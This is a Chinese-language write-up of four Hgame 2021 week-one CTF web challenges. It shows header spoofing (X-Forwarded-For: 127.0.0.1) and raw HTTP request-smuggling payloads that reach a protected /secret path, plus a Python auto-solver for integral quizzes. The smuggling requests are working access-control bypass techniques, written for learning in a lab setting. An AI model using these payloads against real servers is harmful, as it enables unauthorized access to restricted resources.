前言

第一次打Hgame,题目都很有意思,学到了很多东西。本来以为第一周的题目是很简单的,结果发现自己太菜了,有3道题(其实算是2道题)都是自己的知识盲区,官方WP也出来了,自己进行一下学习。
不过有一说一。。为什么我会感觉第二周的web题比第一周的要简单呢。。。幸好第二周只有一道XSS是前端题,就GG一道题,其他的后端题都挺简单的。
从第一周也能看出来,自己对于前端和HTTP协议这样的还是不太会啊,要慢慢学起来。

Hitchhiking_in_the_Galaxy

主要考察HTTP协议,第一周主要的也就是考察HTTP和前端,但是这些都是自己不太会的东西。。。
进入HitchhikerGuide.php,提示405 Method Not Allowed。因此改成POST。
然后提示 只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~。
改一下UA头:User-Agent: Infinite Improbability Drive
然后是这个:

你知道吗?<a href="https://github.com/wuhan005">茄子</a>特别要求:你得从他的<a href="https://cardinal.ink/">Cardinal</a>过来

那就改一下Referer:Referer:https://cardinal.ink/

最后提示本地访问才能得到flag,那就用xff头:x-forwarded-for:127.0.0.1
得到flag。都是比较常见的姿势。

watermelon

大西瓜的游戏,正常肯定是审JS代码,找到最后的判断成功的条件,然后自己手动成功或者直接读到flag。但是这题我把js代码找了个遍还是找不到最后判断2000分的JS代码在哪。
可以参考一波知乎:小游戏《合成大西瓜》有什么诀窍吗?
不太懂前端,还真不知道JS代码可以在这里找:

关键代码在project.js里面:

把后面那些base64解码就可以得到flag。学到了学到了,不会前端太惨了。。。

宝藏走私者

考察的知识点是HTTP走私,又是知识盲区,太妙了学到了新东西。
参考文章就是给的hint,写的超级详细,学到了很多:协议层的攻击——HTTP请求走私

把那篇文章给看完之后就可以有一定的了解,可以想到用CL-TE攻击或者是利用文章中提到的第一个补丁的姿势进行攻击:

但是我当时都没有做成功,就很迷。WP出来后我跟着大师傅们的WP复现了一波,请求是一摸一样的,但是还是成功不了,贼迷。最终才发现,bp的自动update content-length是需要关掉的:

关掉后再进行复现,就可以成功了。
首先是content-length后面空一个格子的攻击。具体原理文章中也讲的很清楚了,就是ATS服务器接收到的请求中存在请求字段与:之间存在空格的字段时,并没有返回400或者进行修正,而是直接给了后端服务器。后端服务器例如nginx遇到这样的请求,会忽略content-length,导致后端服务器看到的请求实际上是这样:

GET / HTTP/1.1
Host: thief.0727.siteGET /secret HTTP/1.1
Host:thief.0727.site
client-ip:127.0.0.1
foo:

会被当作2个请求。第一个请求因为结尾有\r\n,所以是完整的一个。第二个请求结尾没有\r\n,所以后端服务器认为是不完整的,这时候会响应第一个请求,然后等后续的数据传递完毕,再响应第二个。
这时候我们再请求一次,就拼接成了这样:

GET /secret HTTP/1.1
Host:thief.0727.site
client-ip:127.0.0.1
foo:GET / HTTP/1.1
Host: thief.0727.site

是一次成功的请求,HTTP走私成功。

CL-TE攻击我也很迷。。。跟着大师傅们还有官方的WP也还是出不来。。。

走私者的愤怒

为了防止顺风车加的一题。还是尝试content-length和:之间有个空格的攻击方式,但是会报400,大师傅们说是因为两个Host的问题。这题它还会自己加上client-ip:

GET / HTTP/1.1
Host: police.liki.link
Content-Length : 71GET /secret HTTP/1.1
Client-ip:127.0.0.1
Host: police.liki.link
a:


可能类似这样:

GET / HTTP/1.1
Host: police.liki.link
Content-Length : 71GET /secret HTTP/1.1
Client-ip:127.0.0.1
Host: police.liki.link
a:GET / HTTP/1.1
Host: police.liki.link
client-ip:xxxxxx

下面的client-ip会覆盖我们构造的,而且有两个host会报400错误。大师傅们把多的内容放在了我们构造的请求的请求体中:

GET / HTTP/1.1
Host: police.liki.link
Content-Length : 94GET /secret HTTP/1.1
Client-ip:127.0.0.1
Host: police.liki.link
Content-length:100aaa

这样第二次请求的内容拼接之后都是在GET /secret HTTP/1.1的请求体中,走私成功:

不过这两题的CL-TE在我这里都试不成功,甚至相同的payload复制下来就是打不通,可能是我本地有什么问题,没办法了。

智商检测鸡

在fuckmath.js里面可以看到有用的js代码,判断状态,得flag,得到问题和提交答案得,里面api都写得很清楚。
getquestion得到的大致是这样:

<math><mrow><msubsup><mo>∫</mo><mrow><mo>-</mo><mn>92</mn></mrow><mrow><mn>31</mn></mrow></msubsup><mo>(</mo><mn>12</mn><mi>x</mi><mo>+</mo><mn>17</mn><mo>)</mo><mtext><mi>d</mi></mtext><mi>x</mi><mtd/></mrow>
</math>

考虑到积分形式都是ax+b,公式都是一样的,其实可以手算(逃)。当然写脚本也非常简单,读一下积分上下限还有a和b,然后套积分的公式算就完事了,我当时就是这么写的,但是我写WP的时候发现脚本已经删了。。。
看了一下WP,计算积分用的是python的sympy库,也学习一下,重写一个脚本。

# @Author:feng
import requests
from sympy import *
from lxml import etree
import json
url="http://r4u.top:5000/"
session=requests.session()
count=0
while count<100:question=session.get(url=url+"api/getQuestion")question=json.loads(question.text)['question']question=etree.HTML(question)xia_fuhao=question.xpath('//math/mrow/msubsup/mrow[1]/mo/text()')xiaxian=int(question.xpath('//math/mrow/msubsup/mrow[1]/mn/text()')[0])if len(xia_fuhao)!=0:xiaxian=-xiaxianshang_fuhao=question.xpath('//math/mrow/msubsup/mrow[2]/mo/text()')shangxian=int(question.xpath('//math/mrow/msubsup/mrow[2]/mn/text()')[0])if len(shang_fuhao)!=0:shangxian=-shang_fuhaoa=int(question.xpath('//math/mrow/mn[1]/text()')[0])b=int(question.xpath('//math/mrow/mn[2]/text()')[0])x=symbols('x')x=float(integrate(a*x+b,(x,xiaxian,shangxian)))headers = {"Content-Type": "application/json;charset=UTF-8"}data={'answer':x}r=session.post(url=url+"api/verify",headers=headers,json=data)#print(r.text)count+=1
r=session.get(url=url+"api/getFlag")
print(r.text)

也是参考了这个大师傅的脚本:
hgame2021 week1 writeup

Hgame2021 week1 web相关推荐

  1. hgame202301 week1 web writeup

    目录 前言 一.Classic Childhood Game 二.Become A Member 三.Show Me Your Beauty 四.Guess Who I Am 后记 前言 记录2023 ...

  2. Hgame2021 week2 web

    前言 week2的web难度还好,一道变量覆盖,一道SQL注入,一道条件竞争还有一道XSS.因为不会前端...XSS没做出来,今天学习一下官方的WP和大师傅们的WP. LazyDogR4U 存在www ...

  3. Hgame2021,web,week1

    HGAME2021,week1,web总结: 之前耽误了一段时间,现在才开始写wp.总之,果然还是实战比较管用. 1.Hitchhiking_in_the_Galaxy 这个题一进界面就有一个大大的4 ...

  4. HGAME 2022 Writeup

    文章目录 Level - Week1 WEB easy_auth 蛛蛛-嘿嘿?我的蛛蛛 Tetris plus Fujiwara Tofu Shop MISC 欢迎欢迎!热烈欢迎! 这个压缩包有点麻烦 ...

  5. Web安全学习 Week1

    这周主要学HTML 写个静态百度页面 看懂DOM 写好文件想运行 option+b <h1>这不是一个标题<h1> <p>这不是一个段落<p> 1.网页 ...

  6. HGAME2021刷题补题记录(懒 暂时断更)

    HGAME2021之我真的是web入门选手吗? week1 (应该可以发了吧 我看了下 week1提交好像0分) web(纯fw 赛时就写了两题) 什么什么顺风车那题 合成大西瓜 misc 不起眼压缩 ...

  7. 吴恩达机器学习:week1

    title: 吴恩达机器学习:week1 date: 2019-11-03 17:41:46 categories: 机器学习 tags: 机器学习 第1周 文章目录 第1周 1.1 欢迎 1.2 机 ...

  8. HGAME 2022 week1 个人部分WP

    寒假期间,小萌新在家瞎搞CTF,也是第一次参加HGAME,整体来说题目是简单的,但对于我这个萌新菜鸟来说,还是一头雾水,只会做一些简单的密码题,week1的web和misc还能做出几题,后面几周就完全 ...

  9. 【Hgame2022】第一周misc和web题解

    [Hgame2022]第一周misc和web题解 MISC 这个压缩包有点麻烦 暴力破解 字典爆破 明文爆破 压缩包伪加密 好康的流量 解法一 解法二 群青(其实是幽灵东京) 查看属性得知是基础的si ...

最新文章

  1. 函数动态传参详细,作用域和名称空间,global和nonlocal
  2. ORACLE基本SQL语句-查询篇
  3. 下面哪个字段是http请求中必须具备的_HTTP 协议报文结构及示例
  4. 原创 通过PEB获得进程路径 (附完整工程)
  5. Matlab中的continue、break和return语句
  6. 四步相移法怎么获得相位信息_不一样的费曼学习法!|高中篇|”
  7. Julia: 一行代码可以写出什么优雅?
  8. shopex mysql索引_mysql版本太高导致shopex4.8.5无法安装
  9. 输入框常规测试数据用例设计
  10. home目录权限linux,linux 文件/文件夹权限
  11. 大型重工机械设备远程监控系统平台
  12. ios 闪退的原因及解决方案
  13. cfa三级真题和mock_cfa mock和真题哪个难(cfa mock和真题差别)
  14. 2021年广东省安全员B证(项目负责人)报名考试及广东省安全员B证(项目负责人)模拟考试题库
  15. 关于无法安装Win补丁KB2686509的解决方案
  16. long类型在32位系统和64位系统的问题(android O )
  17. [AHK]调用TradeX.dll获取五档行情
  18. Fragment全解析系列(一):那些年踩过的坑
  19. [MT2503 System]MT2503 test mode - MTK物联网在线解答 - 技术论坛
  20. 游戏手机连接服务器没有响应时间,雷军:黑鲨游戏手机2响应时间58.9ms,超iPhone...

热门文章

  1. 简支梁内力的计算机分析程序,简支梁的有限元分析过程.doc
  2. 上海亚商投顾:沪指放量涨1.6%,券商板块表现亮眼
  3. 你属于哪种个性类型的人_四种基本的个性类型
  4. 美国海运 美国海运主要港口有哪些
  5. 数据采集(四):用XPath爬取链家网房价数据
  6. 那段时光,你是否还记得
  7. Word里怎样一次性去掉所有的超级链接
  8. 网络编程2——CS模型的TCP通信流程总结 及 server、client的实现
  9. 深入浅出学习结构方程模型【1理论篇】
  10. 通信笑笑点(2010.08.20)